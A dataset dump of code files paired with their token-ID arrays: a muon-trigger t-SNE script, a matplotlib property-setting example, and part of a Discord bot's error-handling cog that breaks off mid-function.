1971,
653,
2283,
2141,
978,
13,
1678,
5706,
29918,
29887,
481,
29918,
2580,
29898,
262,
5444,
29892,
13128,
29897,
13,
13,
1678,
1121,
353,
1722,
29898,
7050,
467,
949,
580,
13,
1678,
2149,
353,
1722,
29898,
449,
2580,
467,
949,
580,
13,
13,
1678,
4974,
1121,
1275,
2149,
13,
2
] |
HLTtSNE.py | wonpoint4/MuonHLTML | 0 | 161702 | <gh_stars>0
import sys
import numpy as np
import pandas as pd
from HLTIO import IO
from HLTIO import preprocess
from HLTvis import vis
from sklearn.manifold import TSNE
from pathlib import Path
def doTSNE(seed,seedname,filename):
checkfile = Path('data/t-sne_'+filename+'_'+seedname+'.csv')
try:
checkfile.resolve()
except FileNotFoundError:
seed = pd.DataFrame(seed)
seed, y = preprocess.dfSigBkg(seed)
seed.drop(seed.columns[[1,2,3,23,24,26,27,28,29]],axis=1,inplace=True)
tsne = TSNE(n_components=2, verbose=1, perplexity=50, n_iter=500)
tsne_result = tsne.fit_transform(seed)
seed['tsne-x'] = tsne_result[:,0]
seed['tsne-y'] = tsne_result[:,1]
seed = pd.concat([seed,y], axis=1,ignore_index=True)
seed.to_csv(checkfile,index=None,header=True)
else:
seed = pd.read_csv(checkfile)
# seed.drop(seed.columns['y'],axis=1,inplace=True)
y = seed.iloc[:,-1]
# vis.scatter2dSB(seed[~fake][['tsne-x','tsne-y']].values, seed[fake][['tsne-x','tsne-y']].values, 't-sne_'+seedname)
fake0 = ( seed['y']==0. )
fake1 = ( seed['y']==1. )
sig0 = ( seed['y']==2. )
sig1 = ( seed['y']==3. )
vis.hist2d(2,seed[sig0][['tsne-x','tsne-y']].values,'t-sneSig0_'+filename+'_'+seedname)
vis.hist2d(3,seed[sig1][['tsne-x','tsne-y']].values,'t-sneSig1_'+filename+'_'+seedname)
vis.hist2d(0,seed[fake0][['tsne-x','tsne-y']].values,'t-sneBkg0_'+filename+'_'+seedname)
vis.hist2d(1,seed[fake1][['tsne-x','tsne-y']].values,'t-sneBkg1_'+filename+'_'+seedname)
vis.hist2dOverlay(seed[sig0][['tsne-x','tsne-y']].values,seed[sig1][['tsne-x','tsne-y']].values,seed[fake0][['tsne-x','tsne-y']].values,seed[fake1][['tsne-x','tsne-y']].values,'t-sneOverlay_'+filename+'_'+seedname)
return
# seeds = IO.readSeed("./data/ntuple_PU50.root")
filename = 'Mu_FlatPt2to100_PU200'
seeds = IO.readSeedNp("./data/"+filename+".root")
doTSNE(seeds[0],"iterL3OISeedsFromL2Muons",filename)
doTSNE(seeds[1],"iter0IterL3MuonPixelSeedsFromPixelTracks",filename)
doTSNE(seeds[2],"iter2IterL3MuonPixelSeeds",filename)
doTSNE(seeds[3],"iter3IterL3MuonPixelSeeds",filename)
doTSNE(seeds[4],"iter0IterL3FromL1MuonPixelSeedsFromPixelTracks",filename)
doTSNE(seeds[5],"iter2IterL3FromL1MuonPixelSeeds",filename)
doTSNE(seeds[6],"iter3IterL3FromL1MuonPixelSeeds",filename)
# x, y = IO.loadsvm('./data/testTrain.svm')
#
# pca = PCA(n_components=2)
# pca.fit(x)
# x = pca.transform(x)
#
# vis.scatter2d(x,y,'PCA')
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
10876,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
3166,
379,
5850,
5971,
1053,
10663,
13,
3166,
379,
5850,
5971,
1053,
758,
5014,
13,
3166,
379,
5850,
1730,
1053,
1998,
13,
3166,
2071,
19668,
29889,
1171,
361,
1025,
1053,
323,
29903,
8186,
13,
3166,
2224,
1982,
1053,
10802,
13,
13,
1753,
437,
9375,
8186,
29898,
26776,
29892,
26776,
978,
29892,
9507,
1125,
13,
1678,
1423,
1445,
353,
10802,
877,
1272,
29914,
29873,
29899,
29879,
484,
29918,
18717,
9507,
29974,
15972,
18717,
26776,
978,
29974,
4286,
7638,
1495,
13,
1678,
1018,
29901,
13,
4706,
1423,
1445,
29889,
17863,
580,
13,
1678,
5174,
3497,
17413,
2392,
29901,
13,
4706,
16717,
353,
10518,
29889,
17271,
29898,
26776,
29897,
13,
4706,
16717,
29892,
343,
353,
758,
5014,
29889,
2176,
29903,
335,
29933,
9415,
29898,
26776,
29897,
13,
4706,
16717,
29889,
8865,
29898,
26776,
29889,
13099,
8999,
29896,
29892,
29906,
29892,
29941,
29892,
29906,
29941,
29892,
29906,
29946,
29892,
29906,
29953,
29892,
29906,
29955,
29892,
29906,
29947,
29892,
29906,
29929,
20526,
8990,
29922,
29896,
29892,
262,
6689,
29922,
5574,
29897,
13,
13,
4706,
18696,
484,
353,
323,
29903,
8186,
29898,
29876,
29918,
14036,
29922,
29906,
29892,
26952,
29922,
29896,
29892,
639,
10709,
537,
29922,
29945,
29900,
29892,
302,
29918,
1524,
29922,
29945,
29900,
29900,
29897,
13,
4706,
18696,
484,
29918,
2914,
353,
18696,
484,
29889,
9202,
29918,
9067,
29898,
26776,
29897,
13,
4706,
16717,
1839,
1372,
484,
29899,
29916,
2033,
353,
18696,
484,
29918,
2914,
7503,
29892,
29900,
29962,
13,
4706,
16717,
1839,
1372,
484,
29899,
29891,
2033,
353,
18696,
484,
29918,
2914,
7503,
29892,
29896,
29962,
13,
13,
4706,
16717,
353,
10518,
29889,
17685,
4197,
26776,
29892,
29891,
1402,
9685,
29922,
29896,
29892,
17281,
29918,
2248,
29922,
5574,
29897,
13,
4706,
16717,
29889,
517,
29918,
7638,
29898,
3198,
1445,
29892,
2248,
29922,
8516,
29892,
6672,
29922,
5574,
29897,
13,
1678,
1683,
29901,
13,
4706,
16717,
353,
10518,
29889,
949,
29918,
7638,
29898,
3198,
1445,
29897,
13,
29937,
4706,
16717,
29889,
8865,
29898,
26776,
29889,
13099,
1839,
29891,
7464,
8990,
29922,
29896,
29892,
262,
6689,
29922,
5574,
29897,
13,
4706,
343,
353,
16717,
29889,
309,
542,
7503,
6653,
29896,
29962,
13,
13,
1678,
396,
1998,
29889,
1557,
2620,
29906,
29881,
1744,
29898,
26776,
29961,
30022,
29888,
1296,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
29892,
16717,
29961,
29888,
1296,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
29892,
525,
29873,
29899,
29879,
484,
29918,
18717,
26776,
978,
29897,
13,
1678,
25713,
29900,
353,
313,
16717,
1839,
29891,
2033,
1360,
29900,
29889,
1723,
13,
1678,
25713,
29896,
353,
313,
16717,
1839,
29891,
2033,
1360,
29896,
29889,
1723,
13,
1678,
4365,
29900,
353,
313,
16717,
1839,
29891,
2033,
1360,
29906,
29889,
1723,
13,
1678,
4365,
29896,
353,
313,
16717,
1839,
29891,
2033,
1360,
29941,
29889,
1723,
13,
1678,
1998,
29889,
29882,
391,
29906,
29881,
29898,
29906,
29892,
26776,
29961,
18816,
29900,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
5501,
29873,
29899,
29879,
484,
29903,
335,
29900,
29918,
18717,
9507,
29974,
15972,
18717,
26776,
978,
29897,
13,
1678,
1998,
29889,
29882,
391,
29906,
29881,
29898,
29941,
29892,
26776,
29961,
18816,
29896,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
5501,
29873,
29899,
29879,
484,
29903,
335,
29896,
29918,
18717,
9507,
29974,
15972,
18717,
26776,
978,
29897,
13,
1678,
1998,
29889,
29882,
391,
29906,
29881,
29898,
29900,
29892,
26776,
29961,
29888,
1296,
29900,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
5501,
29873,
29899,
29879,
484,
29933,
9415,
29900,
29918,
18717,
9507,
29974,
15972,
18717,
26776,
978,
29897,
13,
1678,
1998,
29889,
29882,
391,
29906,
29881,
29898,
29896,
29892,
26776,
29961,
29888,
1296,
29896,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
5501,
29873,
29899,
29879,
484,
29933,
9415,
29896,
29918,
18717,
9507,
29974,
15972,
18717,
26776,
978,
29897,
13,
1678,
1998,
29889,
29882,
391,
29906,
29881,
3563,
8387,
29898,
26776,
29961,
18816,
29900,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
29892,
26776,
29961,
18816,
29896,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
29892,
26776,
29961,
29888,
1296,
29900,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
29892,
26776,
29961,
29888,
1296,
29896,
3816,
1839,
1372,
484,
29899,
29916,
3788,
1372,
484,
29899,
29891,
2033,
1822,
5975,
5501,
29873,
29899,
29879,
484,
3563,
8387,
29918,
18717,
9507,
29974,
15972,
18717,
26776,
978,
29897,
13,
13,
1678,
736,
13,
13,
29937,
409,
5779,
353,
10663,
29889,
949,
2008,
287,
703,
6904,
1272,
29914,
593,
29884,
552,
29918,
7056,
29945,
29900,
29889,
4632,
1159,
13,
9507,
353,
525,
29924,
29884,
29918,
29943,
5066,
29925,
29873,
29906,
517,
29896,
29900,
29900,
29918,
7056,
29906,
29900,
29900,
29915,
13,
344,
5779,
353,
10663,
29889,
949,
2008,
287,
29940,
29886,
703,
6904,
1272,
12975,
29974,
9507,
29974,
1642,
4632,
1159,
13,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29900,
1402,
29908,
1524,
29931,
29941,
29949,
29902,
2008,
5779,
4591,
29931,
29906,
29924,
29884,
787,
613,
9507,
29897,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29896,
1402,
29908,
1524,
29900,
13463,
29931,
29941,
29924,
29884,
265,
29637,
2008,
5779,
4591,
29637,
5323,
4684,
613,
9507,
29897,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29906,
1402,
29908,
1524,
29906,
13463,
29931,
29941,
29924,
29884,
265,
29637,
2008,
5779,
613,
9507,
29897,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29941,
1402,
29908,
1524,
29941,
13463,
29931,
29941,
29924,
29884,
265,
29637,
2008,
5779,
613,
9507,
29897,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29946,
1402,
29908,
1524,
29900,
13463,
29931,
29941,
4591,
29931,
29896,
29924,
29884,
265,
29637,
2008,
5779,
4591,
29637,
5323,
4684,
613,
9507,
29897,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29945,
1402,
29908,
1524,
29906,
13463,
29931,
29941,
4591,
29931,
29896,
29924,
29884,
265,
29637,
2008,
5779,
613,
9507,
29897,
13,
1867,
9375,
8186,
29898,
344,
5779,
29961,
29953,
1402,
29908,
1524,
29941,
13463,
29931,
29941,
4591,
29931,
29896,
29924,
29884,
265,
29637,
2008,
5779,
613,
9507,
29897,
13,
13,
13,
13,
13,
29937,
921,
29892,
343,
353,
10663,
29889,
1359,
4501,
29885,
877,
6904,
1272,
29914,
1688,
5323,
262,
29889,
4501,
29885,
1495,
13,
29937,
13,
29937,
282,
1113,
353,
349,
5454,
29898,
29876,
29918,
14036,
29922,
29906,
29897,
13,
29937,
282,
1113,
29889,
9202,
29898,
29916,
29897,
13,
29937,
921,
353,
282,
1113,
29889,
9067,
29898,
29916,
29897,
13,
29937,
13,
29937,
1998,
29889,
1557,
2620,
29906,
29881,
29898,
29916,
29892,
29891,
5501,
29925,
5454,
1495,
13,
2
] |
examples/pylab_examples/set_and_get.py | pierre-haessig/matplotlib | 1 | 194375 | <reponame>pierre-haessig/matplotlib<gh_stars>1-10
"""
MATLAB and pylab allow you to use setp and get to set and get
object properties, as well as to do introspection on the object
set
To set the linestyle of a line to be dashed, you can do
>>> line, = plot([1,2,3])
>>> setp(line, linestyle='--')
If you want to know the valid types of arguments, you can provide the
name of the property you want to set without a value
>>> setp(line, 'linestyle')
linestyle: [ '-' | '--' | '-.' | ':' | 'steps' | 'None' ]
If you want to see all the properties that can be set, and their
possible values, you can do
>>> setp(line)
set operates on a single instance or a list of instances. If you are
in query mode introspecting the possible values, only the first
instance in the sequence is used. When actually setting values, all
the instances will be set. Eg, suppose you have a list of two lines,
the following will make both lines thicker and red
>>> x = arange(0,1.0,0.01)
>>> y1 = sin(2*pi*x)
>>> y2 = sin(4*pi*x)
>>> lines = plot(x, y1, x, y2)
>>> setp(lines, linewidth=2, color='r')
get:
get returns the value of a given attribute. You can use get to query
the value of a single attribute
>>> getp(line, 'linewidth')
0.5
or all the attribute/value pairs
>>> getp(line)
aa = True
alpha = 1.0
antialiased = True
c = b
clip_on = True
color = b
... long listing skipped ...
Aliases:
To reduce keystrokes in interactive mode, a number of properties
have short aliases, eg 'lw' for 'linewidth' and 'mec' for
'markeredgecolor'. When calling set or get in introspection mode,
these properties will be listed as 'fullname or aliasname', as in
"""
from __future__ import print_function
from pylab import *
x = arange(0,1.0,0.01)
y1 = sin(2*pi*x)
y2 = sin(4*pi*x)
lines = plot(x, y1, x, y2)
l1, l2 = lines
setp(lines, linestyle='--') # set both to dashed
setp(l1, linewidth=2, color='r') # line1 is thick and red
setp(l2, linewidth=1, color='g') # line2 is thicker and green
print ('Line setters')
setp(l1)
print ('Line getters')
getp(l1)
print ('Rectangle setters')
setp(gca().patch)
print ('Rectangle getters')
getp(gca().patch)
t = title('Hi mom')
print ('Text setters')
setp(t)
print ('Text getters')
getp(t)
show()
| [
1,
529,
276,
1112,
420,
29958,
29886,
6349,
29899,
2350,
404,
335,
29914,
2922,
17357,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
15945,
29908,
13,
13,
29924,
1299,
24461,
322,
282,
2904,
370,
2758,
366,
304,
671,
731,
29886,
322,
679,
304,
731,
322,
679,
13,
3318,
4426,
29892,
408,
1532,
408,
304,
437,
25956,
27988,
373,
278,
1203,
13,
13,
842,
13,
1678,
1763,
731,
278,
6276,
342,
1508,
310,
263,
1196,
304,
367,
27526,
29892,
366,
508,
437,
13,
13,
418,
8653,
1196,
29892,
353,
6492,
4197,
29896,
29892,
29906,
29892,
29941,
2314,
13,
418,
8653,
731,
29886,
29898,
1220,
29892,
6276,
342,
1508,
2433,
489,
1495,
13,
13,
1678,
960,
366,
864,
304,
1073,
278,
2854,
4072,
310,
6273,
29892,
366,
508,
3867,
278,
13,
1678,
1024,
310,
278,
2875,
366,
864,
304,
731,
1728,
263,
995,
13,
13,
418,
8653,
731,
29886,
29898,
1220,
29892,
525,
1915,
342,
1508,
1495,
13,
3986,
6276,
342,
1508,
29901,
518,
17411,
29915,
891,
525,
489,
29915,
891,
17411,
6169,
891,
525,
11283,
891,
525,
24530,
29915,
891,
525,
8516,
29915,
4514,
13,
13,
1678,
960,
366,
864,
304,
1074,
599,
278,
4426,
393,
508,
367,
731,
29892,
322,
1009,
13,
1678,
1950,
1819,
29892,
366,
508,
437,
13,
13,
4706,
8653,
731,
29886,
29898,
1220,
29897,
13,
13,
1678,
731,
1751,
1078,
373,
263,
2323,
2777,
470,
263,
1051,
310,
8871,
29889,
29871,
960,
366,
526,
13,
1678,
297,
2346,
4464,
25956,
1103,
292,
278,
1950,
1819,
29892,
871,
278,
937,
13,
1678,
2777,
297,
278,
5665,
338,
1304,
29889,
29871,
1932,
2869,
4444,
1819,
29892,
599,
13,
1678,
278,
8871,
674,
367,
731,
29889,
29871,
14304,
29892,
7755,
366,
505,
263,
1051,
310,
1023,
3454,
29892,
13,
1678,
278,
1494,
674,
1207,
1716,
3454,
266,
6541,
322,
2654,
13,
13,
4706,
8653,
921,
353,
564,
927,
29898,
29900,
29892,
29896,
29889,
29900,
29892,
29900,
29889,
29900,
29896,
29897,
13,
4706,
8653,
343,
29896,
353,
4457,
29898,
29906,
29930,
1631,
29930,
29916,
29897,
13,
4706,
8653,
343,
29906,
353,
4457,
29898,
29946,
29930,
1631,
29930,
29916,
29897,
13,
4706,
8653,
3454,
353,
6492,
29898,
29916,
29892,
343,
29896,
29892,
921,
29892,
343,
29906,
29897,
13,
4706,
8653,
731,
29886,
29898,
9012,
29892,
1196,
2103,
29922,
29906,
29892,
2927,
2433,
29878,
1495,
13,
13,
13,
657,
29901,
13,
13,
1678,
679,
3639,
278,
995,
310,
263,
2183,
5352,
29889,
29871,
887,
508,
671,
679,
304,
2346,
13,
1678,
278,
995,
310,
263,
2323,
5352,
13,
13,
4706,
8653,
679,
29886,
29898,
1220,
29892,
525,
16292,
1495,
13,
632,
29900,
29889,
29945,
13,
13,
1678,
470,
599,
278,
5352,
29914,
1767,
11000,
13,
13,
1678,
8653,
679,
29886,
29898,
1220,
29897,
13,
4706,
29099,
353,
5852,
13,
4706,
15595,
353,
29871,
29896,
29889,
29900,
13,
4706,
3677,
24341,
1463,
353,
5852,
13,
4706,
274,
353,
289,
13,
4706,
20102,
29918,
265,
353,
5852,
13,
4706,
2927,
353,
289,
13,
4706,
2023,
1472,
18028,
14993,
2986,
2023,
13,
13,
29909,
492,
2129,
29901,
13,
13,
29871,
1763,
10032,
1589,
858,
307,
10794,
297,
28923,
4464,
29892,
263,
1353,
310,
4426,
13,
29871,
505,
3273,
14430,
2129,
29892,
8087,
525,
29880,
29893,
29915,
363,
525,
16292,
29915,
322,
525,
29885,
687,
29915,
363,
13,
29871,
525,
22976,
12864,
2780,
4286,
29871,
1932,
5432,
731,
470,
679,
297,
25956,
27988,
4464,
29892,
13,
29871,
1438,
4426,
674,
367,
9904,
408,
525,
8159,
978,
470,
13995,
978,
742,
408,
297,
13,
13,
13,
13,
13,
15945,
29908,
13,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
3166,
282,
2904,
370,
1053,
334,
13,
13,
13,
29916,
353,
564,
927,
29898,
29900,
29892,
29896,
29889,
29900,
29892,
29900,
29889,
29900,
29896,
29897,
13,
29891,
29896,
353,
4457,
29898,
29906,
29930,
1631,
29930,
29916,
29897,
13,
29891,
29906,
353,
4457,
29898,
29946,
29930,
1631,
29930,
29916,
29897,
13,
9012,
353,
6492,
29898,
29916,
29892,
343,
29896,
29892,
921,
29892,
343,
29906,
29897,
13,
29880,
29896,
29892,
301,
29906,
353,
3454,
13,
842,
29886,
29898,
9012,
29892,
6276,
342,
1508,
2433,
489,
1495,
539,
396,
731,
1716,
304,
27526,
13,
842,
29886,
29898,
29880,
29896,
29892,
1196,
2103,
29922,
29906,
29892,
2927,
2433,
29878,
1495,
29871,
396,
1196,
29896,
338,
12003,
322,
2654,
13,
842,
29886,
29898,
29880,
29906,
29892,
1196,
2103,
29922,
29896,
29892,
2927,
2433,
29887,
1495,
29871,
396,
1196,
29906,
338,
266,
6541,
322,
7933,
13,
13,
13,
2158,
6702,
3542,
731,
2153,
1495,
13,
842,
29886,
29898,
29880,
29896,
29897,
13,
2158,
6702,
3542,
679,
2153,
1495,
13,
657,
29886,
29898,
29880,
29896,
29897,
13,
13,
2158,
6702,
7364,
2521,
731,
2153,
1495,
13,
842,
29886,
29898,
29887,
1113,
2141,
5041,
29897,
13,
2158,
6702,
7364,
2521,
679,
2153,
1495,
13,
657,
29886,
29898,
29887,
1113,
2141,
5041,
29897,
13,
13,
29873,
353,
3611,
877,
18567,
16823,
1495,
13,
2158,
6702,
1626,
731,
2153,
1495,
13,
842,
29886,
29898,
29873,
29897,
13,
2158,
6702,
1626,
679,
2153,
1495,
13,
657,
29886,
29898,
29873,
29897,
13,
13,
4294,
580,
13,
2
] |
cogs/botbrain/error.py | noaione/naoTimes | 5 | 156641 | <filename>cogs/botbrain/error.py<gh_stars>1-10
from __future__ import annotations
try:
from sentry_sdk import push_scope
except ImportError:
pass
import io
import logging
import traceback
from dataclasses import dataclass
from typing import TYPE_CHECKING
import aiohttp
import arrow
import discord
from discord.ext import app, commands
from discord.ext.app import errors as app_errors
from discord.ext.commands import errors
from naotimes.bot import naoTimesBot
from naotimes.context import naoTimesContext
from naotimes.music import errors as music_errors
from naotimes.utils import quote
if TYPE_CHECKING:
from wavelink.player import Player
@dataclass
class CommandHandle:
exception: Exception
name: str
message: str
author_id: int
author_name: str
channel_id: int
channel_name: str
is_dm: bool = False
guild_id: int = None
guild_name: str = None
cog_name: str = None
timestamp: arrow.Arrow = arrow.utcnow()
@property
def traceback(self):
tb = traceback.format_exception(type(self.exception), self.exception, self.exception.__traceback__)
return "".join(tb).replace("`", "")
def create_embed(self):
embed = discord.Embed(
title="Error Logger",
colour=0xFF253E,
description="Terjadi kesalahan atau Insiden baru-baru ini...",
timestamp=self.timestamp.datetime,
)
if self.cog_name:
embed.add_field(name="Cogs", value=f"[nT!] {self.cog_name}", inline=False)
embed.add_field(name="Perintah yang digunakan", value=f"{self.name}\n`{self.message}`", inline=False)
lokasi_insiden = "DM dengan Bot"
if self.guild_id:
lokasi_insiden = f"{self.guild_name} ({self.guild_id})"
lokasi_insiden += f"\n#{self.channel_name} ({self.channel_id})"
embed.add_field(name="Lokasi Insiden", value=lokasi_insiden, inline=False)
embed.add_field(name="Pengguna", value=f"{self.author_name} ({self.author_id})", inline=False)
embed.add_field(name="Traceback", value=quote(self.traceback, True, "py"))
embed.set_thumbnail(url="https://p.ihateani.me/mccvpqgd.png")
return embed
def create_text(self):
perintah_text = self.name
if self.cog_name:
perintah_text += f" (cog:{self.cog_name})"
server_info = "Peladen: DM"
if self.guild_id:
server_info = f"Peladen: {self.guild_name} ({self.guild_id})"
channel_info = f"Kanal: {self.channel_name} ({self.channel_id})"
error_info = [
f"Perintah: {perintah_text}",
f"Pesan: {self.message}",
server_info,
channel_info,
f"Perusak: {self.author_name} ({self.author_id})",
]
full_pesan = "**Terjadi Kesalahan**\n\n"
full_pesan += quote("\n".join(error_info), True, "py") + "\n\n"
full_pesan += quote(self.traceback, True, "py")
return full_pesan
class BotBrainErrorHandler(commands.Cog):
def __init__(self, bot: naoTimesBot):
self.bot = bot
self.logger = logging.getLogger("BotBrain.ErrorHandler")
@commands.Cog.listener()
async def on_command_error(self, ctx: naoTimesContext, exception: errors.CommandError):
"""Logs any bot command error, send to sentry, etc."""
command = ctx.command
if hasattr(command, "on_error"):
# Command already handled the error.
return
_ignore_completely = (
errors.CommandNotFound,
errors.UserInputError,
errors.NotOwner,
errors.ArgumentParsingError,
)
_MISSING_PERMS = (
errors.MissingPermissions,
errors.BotMissingPermissions,
)
_MISSING_ROLE = (
errors.MissingAnyRole,
errors.MissingRole,
errors.BotMissingAnyRole,
errors.BotMissingRole,
)
# Get the original if exist
exception = getattr(exception, "original", exception)
if isinstance(exception, _ignore_completely):
self.bot.echo_error(exception)
return
if isinstance(exception, errors.DisabledCommand):
return await ctx.send(f"`{ctx.command}` dinonaktifkan.")
if isinstance(exception, errors.NoPrivateMessage):
return await self._push_message_safely(
ctx, f"`{command}`` tidak bisa dipakai di Private Messages."
)
if isinstance(exception, errors.PrivateMessageOnly):
return await self._push_message_safely(
ctx, f"`{command}`` hanya bisa dipakai di Private Messages."
)
if isinstance(exception, errors.NSFWChannelRequired):
return await self._push_message_safely(ctx, f"`{command}` hanya bisa dipakai di kanal NSFW.")
if isinstance(exception, _MISSING_PERMS):
return await self.handle_permission_error(ctx, exception)
if isinstance(exception, _MISSING_ROLE):
return await self.handle_role_error(ctx, exception)
if isinstance(exception, errors.CommandOnCooldown):
return await self._push_message_safely(
ctx, f"Kamu sedang dalam masa jeda. Coba lagi dalam waktu {exception.retry_after:.2f} detik."
)
if isinstance(exception, errors.MaxConcurrencyReached):
return await self.handle_concurrency_error(ctx, exception)
if isinstance(exception, music_errors.EnsureVoiceChannel):
is_main = exception.main_check
message = "Anda harus join VC terlebih dahulu!"
client: Player = exception.ctx.voice_client
mention_data = None
if client and client.channel:
mention_data = client.channel.mention
if not is_main:
message = "Mohon join voice chat "
if mention_data:
message += mention_data + " "
message += "untuk menyetel musik."
return await self._push_message_safely(exception.ctx, message, True)
if isinstance(exception, music_errors.EnsureBotVoiceChannel):
return await self._push_message_safely(
exception.ctx, "Bot tidak terhubung dengan VC manapun!", True
)
if isinstance(exception, music_errors.EnsureHaveRequirement):
reason = exception.reason
return await self._push_message_safely(
exception.ctx, f"Anda tidak memiliki hak untuk melakukan hal tersebut!\n{reason}", True
)
if isinstance(exception, music_errors.WavelinkNoNodes):
return await self._push_message_safely(
ctx, "Bot tidak memiliki node Lavalink untuk menyetel lagu, mohoon kontak bot Owner!", True
)
if isinstance(exception, aiohttp.ClientError):
return await self.handle_aiohttp_error(ctx, exception)
if isinstance(exception, discord.HTTPException):
return await self.handle_discord_http_error(ctx, exception)
await self._push_to_sentry(ctx, exception)
await self._push_to_bot_log(ctx, exception)
await self._push_to_user(ctx)
@commands.Cog.listener()
async def on_application_error(self, ctx: app.ApplicationContext, exception: Exception):
"""Logs any bot app command error, send to sentry, etc."""
_ignore_completely = (
app_errors.ApplicationUserInputError,
app_errors.ApplicationNotOwner,
)
_MISSING_PERMS = (
app_errors.ApplicationMissingPermissions,
app_errors.ApplicationBotMissingPermissions,
)
_MISSING_ROLE = (
app_errors.ApplicationMissingAnyRole,
app_errors.ApplicationMissingRole,
app_errors.ApplicationBotMissingAnyRole,
app_errors.ApplicationBotMissingRole,
)
exception = getattr(exception, "original", exception)
command = ctx.command
if isinstance(exception, _ignore_completely):
self.bot.echo_error(exception)
return
if isinstance(exception, app_errors.ApplicationNoPrivateMessage):
return await self._push_message_safely(
ctx, f"`{command.qualified_name}`` tidak bisa dipakai di Private Messages."
)
if isinstance(exception, app_errors.ApplicationPrivateMessageOnly):
return await self._push_message_safely(
ctx, f"`{command}`` hanya bisa dipakai di Private Messages."
)
if isinstance(exception, app_errors.ApplicationNSFWChannelRequired):
return await self._push_message_safely(ctx, f"`{command}` hanya bisa dipakai di kanal NSFW.")
if isinstance(exception, _MISSING_PERMS):
return await self.handle_permission_error(ctx, exception)
if isinstance(exception, _MISSING_ROLE):
return await self.handle_role_error(ctx, exception)
if isinstance(exception, app_errors.ApplicationCommandOnCooldown):
return await self._push_message_safely(
ctx, f"Kamu sedang dalam masa jeda. Coba lagi dalam waktu {exception.retry_after:.2f} detik."
)
if isinstance(exception, app_errors.ApplicationMaxConcurrencyReached):
return await self.handle_concurrency_error(ctx, exception)
if isinstance(exception, music_errors.EnsureVoiceChannel):
is_main = exception.main_check
message = "Anda harus join VC terlebih dahulu!"
client: Player = exception.ctx.voice_client
mention_data = None
if client and client.channel:
mention_data = client.channel.mention
if not is_main:
message = "Mohon join voice chat "
if mention_data:
message += mention_data + " "
message += "untuk menyetel musik."
return await self._push_message_safely(exception.ctx, message, True)
if isinstance(exception, music_errors.EnsureBotVoiceChannel):
return await self._push_message_safely(
exception.ctx, "Bot tidak terhubung dengan VC manapun!", True
)
if isinstance(exception, music_errors.EnsureHaveRequirement):
reason = exception.reason
return await self._push_message_safely(
exception.ctx, f"Anda tidak memiliki hak untuk melakukan hal tersebut!\n{reason}", True
)
if isinstance(exception, music_errors.WavelinkNoNodes):
return await self._push_message_safely(
ctx, "Bot tidak memiliki node Lavalink untuk menyetel lagu, mohoon kontak bot Owner!", True
)
if isinstance(exception, aiohttp.ClientError):
return await self.handle_aiohttp_error(ctx, exception)
if isinstance(exception, discord.HTTPException):
return await self.handle_discord_http_error(ctx, exception)
await self._push_to_sentry(ctx, exception)
await self._push_to_bot_log(ctx, exception)
await self._push_to_user(ctx)
# Repeating handlers
async def handle_aiohttp_error(self, ctx: naoTimesContext, exception: aiohttp.ClientError):
await self._push_to_sentry(ctx, exception)
if isinstance(exception, aiohttp.ClientResponseError):
return await self._push_message_safely(
ctx,
f"Mendapatkan kode HTTP {exception.status} dari API\n```py\n",
exception.message,
"\n```",
)
return await self._push_message_safely(
ctx, "Terjadi kesalahan ketika berkomunikasi dengan API, mohon coba sesaat lagi!"
)
async def handle_discord_http_error(self, ctx: naoTimesContext, exception: discord.HTTPException):
await self._push_to_sentry(ctx, exception)
return await self._push_message_safely(
ctx, "Terjadi kesalahan ketika berkomunikasi dengan Discord, mohon coba sesaat lagi!"
)
async def handle_permission_error(self, ctx: naoTimesContext, exception: errors.MissingPermissions):
missing_perms = exception.missing_permissions
missing = [perm.replace("_", " ").replace("guild", "server").title() for perm in missing_perms]
opening_message = "Anda tidak memiliki hak untuk menjalankan perintah ini!"
if str(exception).lower().startswith("bot"):
opening_message = "Bot tidak memiliki hak untuk menjalankan perintah ini!"
await self._push_message_safely(
ctx,
f"{opening_message}\nKurang: `{', '.join(missing)}`",
)
return
async def handle_role_error(self, ctx: naoTimesContext, exception: errors.MissingRole):
opening_message = "Anda tidak memiliki hak untuk menjalankan perintah ini!"
if str(exception).lower().startswith("bot"):
opening_message = "Bot tidak memiliki hak untuk menjalankan perintah ini!"
roles_needed = []
if hasattr(exception, "missing_roles"):
roles_needed.extend(exception.missing_roles)
else:
roles_needed.append(exception.missing_role)
roles_parsed = [f"{role!r}" for role in roles_needed]
await self._push_message_safely(
ctx, f"{opening_message}\nDibutuhkan role dengan ID: {', '.join(roles_parsed)}"
)
async def handle_concurrency_error(self, ctx: naoTimesContext, exception: errors.MaxConcurrencyReached):
_translated = {
"default": "orang",
"user": "orang",
"guild": "peladen",
"channel": "kanal",
"member": "pengguna",
"category": "kategori",
}
cooldown_msg = "Terlalu banyak orang sedang memakai perintah ini, "
per_name = _translated.get(exception.per.name, exception.per.name)
per_data = f"tiap {exception.number} {per_name}"
cooldown_msg += f"perintah ini hanya dapat digunakan {per_data} secara bersamaan"
return await self._push_message_safely(ctx, cooldown_msg)
async def _push_to_user(self, ctx: naoTimesContext):
